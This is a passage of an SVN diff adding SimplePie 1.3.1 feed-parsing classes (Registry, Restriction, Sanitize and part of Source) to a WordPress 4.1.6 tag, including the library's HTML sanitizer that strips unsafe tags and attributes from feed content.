+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles creating objects and calling methods
+ *
+ * Access this via {@see SimplePie::get_registry()}
+ *
+ * @package SimplePie
+ */
+class SimplePie_Registry
+{
+	/**
+	 * Default class mapping
+	 *
+	 * Overriding classes *must* subclass these.
+	 *
+	 * @var array
+	 */
+	protected $default = array(
+		'Cache' => 'SimplePie_Cache',
+		'Locator' => 'SimplePie_Locator',
+		'Parser' => 'SimplePie_Parser',
+		'File' => 'SimplePie_File',
+		'Sanitize' => 'SimplePie_Sanitize',
+		'Item' => 'SimplePie_Item',
+		'Author' => 'SimplePie_Author',
+		'Category' => 'SimplePie_Category',
+		'Enclosure' => 'SimplePie_Enclosure',
+		'Caption' => 'SimplePie_Caption',
+		'Copyright' => 'SimplePie_Copyright',
+		'Credit' => 'SimplePie_Credit',
+		'Rating' => 'SimplePie_Rating',
+		'Restriction' => 'SimplePie_Restriction',
+		'Content_Type_Sniffer' => 'SimplePie_Content_Type_Sniffer',
+		'Source' => 'SimplePie_Source',
+		'Misc' => 'SimplePie_Misc',
+		'XML_Declaration_Parser' => 'SimplePie_XML_Declaration_Parser',
+		'Parse_Date' => 'SimplePie_Parse_Date',
+	);
+
+	/**
+	 * Class mapping
+	 *
+	 * @see register()
+	 * @var array
+	 */
+	protected $classes = array();
+
+	/**
+	 * Legacy classes
+	 *
+	 * @see register()
+	 * @var array
+	 */
+	protected $legacy = array();
+
+	/**
+	 * Constructor
+	 *
+	 * No-op
+	 */
+	public function __construct() { }
+
+	/**
+	 * Register a class
+	 *
+	 * @param string $type See {@see $default} for names
+	 * @param string $class Class name, must subclass the corresponding default
+	 * @param bool $legacy Whether to enable legacy support for this class
+	 * @return bool Successfulness
+	 */
+	public function register($type, $class, $legacy = false)
+	{
+		if (!is_subclass_of($class, $this->default[$type]))
+		{
+			return false;
+		}
+
+		$this->classes[$type] = $class;
+
+		if ($legacy)
+		{
+			$this->legacy[] = $class;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the class registered for a type
+	 *
+	 * Where possible, use {@see create()} or {@see call()} instead
+	 *
+	 * @param string $type
+	 * @return string|null
+	 */
+	public function get_class($type)
+	{
+		if (!empty($this->classes[$type]))
+		{
+			return $this->classes[$type];
+		}
+		if (!empty($this->default[$type]))
+		{
+			return $this->default[$type];
+		}
+
+		return null;
+	}
+
+	/**
+	 * Create a new instance of a given type
+	 *
+	 * @param string $type
+	 * @param array $parameters Parameters to pass to the constructor
+	 * @return object Instance of class
+	 */
+	public function &create($type, $parameters = array())
+	{
+		$class = $this->get_class($type);
+
+		if (in_array($class, $this->legacy))
+		{
+			switch ($type)
+			{
+				case 'locator':
+					// Legacy: file, timeout, useragent, file_class, max_checked_feeds, content_type_sniffer_class
+					// Specified: file, timeout, useragent, max_checked_feeds
+					$replacement = array($this->get_class('file'), $parameters[3], $this->get_class('content_type_sniffer'));
+					array_splice($parameters, 3, 1, $replacement);
+					break;
+			}
+		}
+
+		if (!method_exists($class, '__construct'))
+		{
+			$instance = new $class;
+		}
+		else
+		{
+			$reflector = new ReflectionClass($class);
+			$instance = $reflector->newInstanceArgs($parameters);
+		}
+
+		if (method_exists($instance, 'set_registry'))
+		{
+			$instance->set_registry($this);
+		}
+		return $instance;
+	}
+
+	/**
+	 * Call a static method for a type
+	 *
+	 * @param string $type
+	 * @param string $method
+	 * @param array $parameters
+	 * @return mixed
+	 */
+	public function &call($type, $method, $parameters = array())
+	{
+		$class = $this->get_class($type);
+
+		if (in_array($class, $this->legacy))
+		{
+			switch ($type)
+			{
+				case 'Cache':
+					// For backwards compatibility with old non-static
+					// Cache::create() methods
+					if ($method === 'get_handler')
+					{
+						$result = @call_user_func_array(array($class, 'create'), $parameters);
+						return $result;
+					}
+					break;
+			}
+		}
+
+		$result = call_user_func_array(array($class, $method), $parameters);
+		return $result;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Restriction.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Restriction.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Restriction.php	(revision 33402)
@@ -0,0 +1,155 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles `<media:restriction>` as defined in Media RSS
+ *
+ * Used by {@see SimplePie_Enclosure::get_restriction()} and {@see SimplePie_Enclosure::get_restrictions()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_restriction_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Restriction
+{
+	/**
+	 * Relationship ('allow'/'deny')
+	 *
+	 * @var string
+	 * @see get_relationship()
+	 */
+	var $relationship;
+
+	/**
+	 * Type of restriction
+	 *
+	 * @var string
+	 * @see get_type()
+	 */
+	var $type;
+
+	/**
+	 * Restricted values
+	 *
+	 * @var string
+	 * @see get_value()
+	 */
+	var $value;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($relationship = null, $type = null, $value = null)
+	{
+		$this->relationship = $relationship;
+		$this->type = $type;
+		$this->value = $value;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the relationship
+	 *
+	 * @return string|null Either 'allow' or 'deny'
+	 */
+	public function get_relationship()
+	{
+		if ($this->relationship !== null)
+		{
+			return $this->relationship;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the type
+	 *
+	 * @return string|null
+	 */
+	public function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the list of restricted things
+	 *
+	 * @return string|null
+	 */
+	public function get_value()
+	{
+		if ($this->value !== null)
+		{
+			return $this->value;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Sanitize.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Sanitize.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Sanitize.php	(revision 33402)
@@ -0,0 +1,554 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Used for data cleanup and post-processing
+ *
+ *
+ * This class can be overloaded with {@see SimplePie::set_sanitize_class()}
+ *
+ * @package SimplePie
+ * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
+ */
+class SimplePie_Sanitize
+{
+	// Private vars
+	var $base;
+
+	// Options
+	var $remove_div = true;
+	var $image_handler = '';
+	var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
+	var $encode_instead_of_strip = false;
+	var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
+	var $strip_comments = false;
+	var $output_encoding = 'UTF-8';
+	var $enable_cache = true;
+	var $cache_location = './cache';
+	var $cache_name_function = 'md5';
+	var $timeout = 10;
+	var $useragent = '';
+	var $force_fsockopen = false;
+	var $replace_url_attributes = null;
+
+	public function __construct()
+	{
+		// Set defaults
+		$this->set_url_replacements(null);
+	}
+
+	public function remove_div($enable = true)
+	{
+		$this->remove_div = (bool) $enable;
+	}
+
+	public function set_image_handler($page = false)
+	{
+		if ($page)
+		{
+			$this->image_handler = (string) $page;
+		}
+		else
+		{
+			$this->image_handler = false;
+		}
+	}
+
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie_Cache')
+	{
+		if (isset($enable_cache))
+		{
+			$this->enable_cache = (bool) $enable_cache;
+		}
+
+		if ($cache_location)
+		{
+			$this->cache_location = (string) $cache_location;
+		}
+
+		if ($cache_name_function)
+		{
+			$this->cache_name_function = (string) $cache_name_function;
+		}
+	}
+
+	public function pass_file_data($file_class = 'SimplePie_File', $timeout = 10, $useragent = '', $force_fsockopen = false)
+	{
+		if ($timeout)
+		{
+			$this->timeout = (string) $timeout;
+		}
+
+		if ($useragent)
+		{
+			$this->useragent = (string) $useragent;
+		}
+
+		if ($force_fsockopen)
+		{
+			$this->force_fsockopen = (string) $force_fsockopen;
+		}
+	}
+
+	public function strip_htmltags($tags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'))
+	{
+		if ($tags)
+		{
+			if (is_array($tags))
+			{
+				$this->strip_htmltags = $tags;
+			}
+			else
+			{
+				$this->strip_htmltags = explode(',', $tags);
+			}
+		}
+		else
+		{
+			$this->strip_htmltags = false;
+		}
+	}
+
+	public function encode_instead_of_strip($encode = false)
+	{
+		$this->encode_instead_of_strip = (bool) $encode;
+	}
+
+	public function strip_attributes($attribs = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'))
+	{
+		if ($attribs)
+		{
+			if (is_array($attribs))
+			{
+				$this->strip_attributes = $attribs;
+			}
+			else
+			{
+				$this->strip_attributes = explode(',', $attribs);
+			}
+		}
+		else
+		{
+			$this->strip_attributes = false;
+		}
+	}
+
+	public function strip_comments($strip = false)
+	{
+		$this->strip_comments = (bool) $strip;
+	}
+
+	public function set_output_encoding($encoding = 'UTF-8')
+	{
+		$this->output_encoding = (string) $encoding;
+	}
+
+	/**
+	 * Set element/attribute key/value pairs of HTML attributes
+	 * containing URLs that need to be resolved relative to the feed
+	 *
+	 * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
+	 * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
+	 * |q|@cite
+	 *
+	 * @since 1.0
+	 * @param array|null $element_attribute Element/attribute key/value pairs, null for default
+	 */
+	public function set_url_replacements($element_attribute = null)
+	{
+		if ($element_attribute === null)
+		{
+			$element_attribute = array(
+				'a' => 'href',
+				'area' => 'href',
+				'blockquote' => 'cite',
+				'del' => 'cite',
+				'form' => 'action',
+				'img' => array(
+					'longdesc',
+					'src'
+				),
+				'input' => 'src',
+				'ins' => 'cite',
+				'q' => 'cite'
+			);
+		}
+		$this->replace_url_attributes = (array) $element_attribute;
+	}
+
+	public function sanitize($data, $type, $base = '')
+	{
+		$data = trim($data);
+		if ($data !== '' || $type & SIMPLEPIE_CONSTRUCT_IRI)
+		{
+			if ($type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML)
+			{
+				if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data))
+				{
+					$type |= SIMPLEPIE_CONSTRUCT_HTML;
+				}
+				else
+				{
+					$type |= SIMPLEPIE_CONSTRUCT_TEXT;
+				}
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_BASE64)
+			{
+				$data = base64_decode($data);
+			}
+
+			if ($type & (SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML))
+			{
+
+				if (!class_exists('DOMDocument'))
+				{
+					$this->registry->call('Misc', 'error', array('DOMDocument not found, unable to use sanitizer', E_USER_WARNING, __FILE__, __LINE__));
+					return '';
+				}
+				$document = new DOMDocument();
+				$document->encoding = 'UTF-8';
+				$data = $this->preprocess($data, $type);
+
+				set_error_handler(array('SimplePie_Misc', 'silence_errors'));
+				$document->loadHTML($data);
+				restore_error_handler();
+
+				// Strip comments
+				if ($this->strip_comments)
+				{
+					$xpath = new DOMXPath($document);
+					$comments = $xpath->query('//comment()');
+
+					foreach ($comments as $comment)
+					{
+						$comment->parentNode->removeChild($comment);
+					}
+				}
+
+				// Strip out HTML tags and attributes that might cause various security problems.
+				// Based on recommendations by Mark Pilgrim at:
+				// http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely
+				if ($this->strip_htmltags)
+				{
+					foreach ($this->strip_htmltags as $tag)
+					{
+						$this->strip_tag($tag, $document, $type);
+					}
+				}
+
+				if ($this->strip_attributes)
+				{
+					foreach ($this->strip_attributes as $attrib)
+					{
+						$this->strip_attr($attrib, $document);
+					}
+				}
+
+				// Replace relative URLs
+				$this->base = $base;
+				foreach ($this->replace_url_attributes as $element => $attributes)
+				{
+					$this->replace_urls($document, $element, $attributes);
+				}
+
+				// If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
+				if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache)
+				{
+					$images = $document->getElementsByTagName('img');
+					foreach ($images as $img)
+					{
+						if ($img->hasAttribute('src'))
+						{
+							$image_url = call_user_func($this->cache_name_function, $img->getAttribute('src'));
+							$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, $image_url, 'spi'));
+
+							if ($cache->load())
+							{
+								$img->setAttribute('src', $this->image_handler . $image_url);
+							}
+							else
+							{
+								$file = $this->registry->create('File', array($img->getAttribute('src'), $this->timeout, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen));
+								$headers = $file->headers;
+
+								if ($file->success && ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300)))
+								{
+									if ($cache->save(array('headers' => $file->headers, 'body' => $file->body)))
+									{
+										$img->setAttribute('src', $this->image_handler . $image_url);
+									}
+									else
+									{
+										trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
+									}
+								}
+							}
+						}
+					}
+				}
+
+				// Remove the DOCTYPE
+				// Seems to cause segfaulting if we don't do this
+				if ($document->firstChild instanceof DOMDocumentType)
+				{
+					$document->removeChild($document->firstChild);
+				}
+
+				// Move everything from the body to the root
+				$real_body = $document->getElementsByTagName('body')->item(0)->childNodes->item(0);
+				$document->replaceChild($real_body, $document->firstChild);
+
+				// Finally, convert to a HTML string
+				$data = trim($document->saveHTML());
+
+				if ($this->remove_div)
+				{
+					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '', $data);
+					$data = preg_replace('/<\/div>$/', '', $data);
+				}
+				else
+				{
+					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
+				}
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_IRI)
+			{
+				$absolute = $this->registry->call('Misc', 'absolutize_url', array($data, $base));
+				if ($absolute !== false)
+				{
+					$data = $absolute;
+				}
+			}
+
+			if ($type & (SIMPLEPIE_CONSTRUCT_TEXT | SIMPLEPIE_CONSTRUCT_IRI))
+			{
+				$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
+			}
+
+			if ($this->output_encoding !== 'UTF-8')
+			{
+				$data = $this->registry->call('Misc', 'change_encoding', array($data, 'UTF-8', $this->output_encoding));
+			}
+		}
+		return $data;
+	}
+
+	protected function preprocess($html, $type)
+	{
+		$ret = '';
+		if ($type & ~SIMPLEPIE_CONSTRUCT_XHTML)
+		{
+			// Atom XHTML constructs are wrapped with a div by default
+			// Note: No protection if $html contains a stray </div>!
+			$html = '<div>' . $html . '</div>';
+			$ret .= '<!DOCTYPE html>';
+			$content_type = 'text/html';
+		}
+		else
+		{
+			$ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
+			$content_type = 'application/xhtml+xml';
+		}
+
+		$ret .= '<html><head>';
+		$ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />';
+		$ret .= '</head><body>' . $html . '</body></html>';
+		return $ret;
+	}
+
+	public function replace_urls($document, $tag, $attributes)
+	{
+		if (!is_array($attributes))
+		{
+			$attributes = array($attributes);
+		}
+
+		if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags))
+		{
+			$elements = $document->getElementsByTagName($tag);
+			foreach ($elements as $element)
+			{
+				foreach ($attributes as $attribute)
+				{
+					if ($element->hasAttribute($attribute))
+					{
+						$value = $this->registry->call('Misc', 'absolutize_url', array($element->getAttribute($attribute), $this->base));
+						if ($value !== false)
+						{
+							$element->setAttribute($attribute, $value);
+						}
+					}
+				}
+			}
+		}
+	}
+
+	public function do_strip_htmltags($match)
+	{
+		if ($this->encode_instead_of_strip)
+		{
+			if (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
+			{
+				$match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
+				$match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
+				return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
+			}
+			else
+			{
+				return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
+			}
+		}
+		elseif (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
+		{
+			return $match[4];
+		}
+		else
+		{
+			return '';
+		}
+	}
+
+	protected function strip_tag($tag, $document, $type)
+	{
+		$xpath = new DOMXPath($document);
+		$elements = $xpath->query('body//' . $tag);
+		if ($this->encode_instead_of_strip)
+		{
+			foreach ($elements as $element)
+			{
+				$fragment = $document->createDocumentFragment();
+
+				// For elements which aren't script or style, include the tag itself
+				if (!in_array($tag, array('script', 'style')))
+				{
+					$text = '<' . $tag;
+					if ($element->hasAttributes())
+					{
+						$attrs = array();
+						foreach ($element->attributes as $name => $attr)
+						{
+							$value = $attr->value;
+
+							// In XHTML, empty values should never exist, so we repeat the value
+							if (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_XHTML))
+							{
+								$value = $name;
+							}
+							// For HTML, empty is fine
+							elseif (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_HTML))
+							{
+								$attrs[] = $name;
+								continue;
+							}
+
+							// Standard attribute text
+							$attrs[] = $name . '="' . $attr->value . '"';
+						}
+						$text .= ' ' . implode(' ', $attrs);
+					}
+					$text .= '>';
+					$fragment->appendChild(new DOMText($text));
+				}
+
+				$number = $element->childNodes->length;
+				for ($i = $number; $i > 0; $i--)
+				{
+					$child = $element->childNodes->item(0);
+					$fragment->appendChild($child);
+				}
+
+				if (!in_array($tag, array('script', 'style')))
+				{
+					$fragment->appendChild(new DOMText('</' . $tag . '>'));
+				}
+
+				$element->parentNode->replaceChild($fragment, $element);
+			}
+
+			return;
+		}
+		elseif (in_array($tag, array('script', 'style')))
+		{
+			foreach ($elements as $element)
+			{
+				$element->parentNode->removeChild($element);
+			}
+
+			return;
+		}
+		else
+		{
+			foreach ($elements as $element)
+			{
+				$fragment = $document->createDocumentFragment();
+				$number = $element->childNodes->length;
+				for ($i = $number; $i > 0; $i--)
+				{
+					$child = $element->childNodes->item(0);
+					$fragment->appendChild($child);
+				}
+
+				$element->parentNode->replaceChild($fragment, $element);
+			}
+		}
+	}
+
+	protected function strip_attr($attrib, $document)
+	{
+		$xpath = new DOMXPath($document);
+		$elements = $xpath->query('//*[@' . $attrib . ']');
+
+		foreach ($elements as $element)
+		{
+			$element->removeAttribute($attrib);
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Source.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Source.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Source.php	(revision 33402)
@@ -0,0 +1,611 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles `<atom:source>`
+ *
+ * Used by {@see SimplePie_Item::get_source()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_source_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Source
+{
+	var $item;
+	var $data = array();
+	protected $registry;
+
+	public function __construct($item, $data)
+	{
+		$this->item = $item;
+		$this->data = $data;
+	}
+
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	public function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+
+	public function get_source_tags($namespace, $tag)
+	{
+		if (isset($this->data['child'][$namespace][$tag]))
+		{
+			return $this->data['child'][$namespace][$tag];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_base($element = array())
+	{
+		return $this->item->get_base($element);
+	}
+
+	public function sanitize($data, $type, $base = '')
+	{
+		return $this->item->sanitize($data, $type, $base);
+	}
+
+	public function get_item()
+	{
+		return $this->item;
+	}
+
+	public function get_title()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
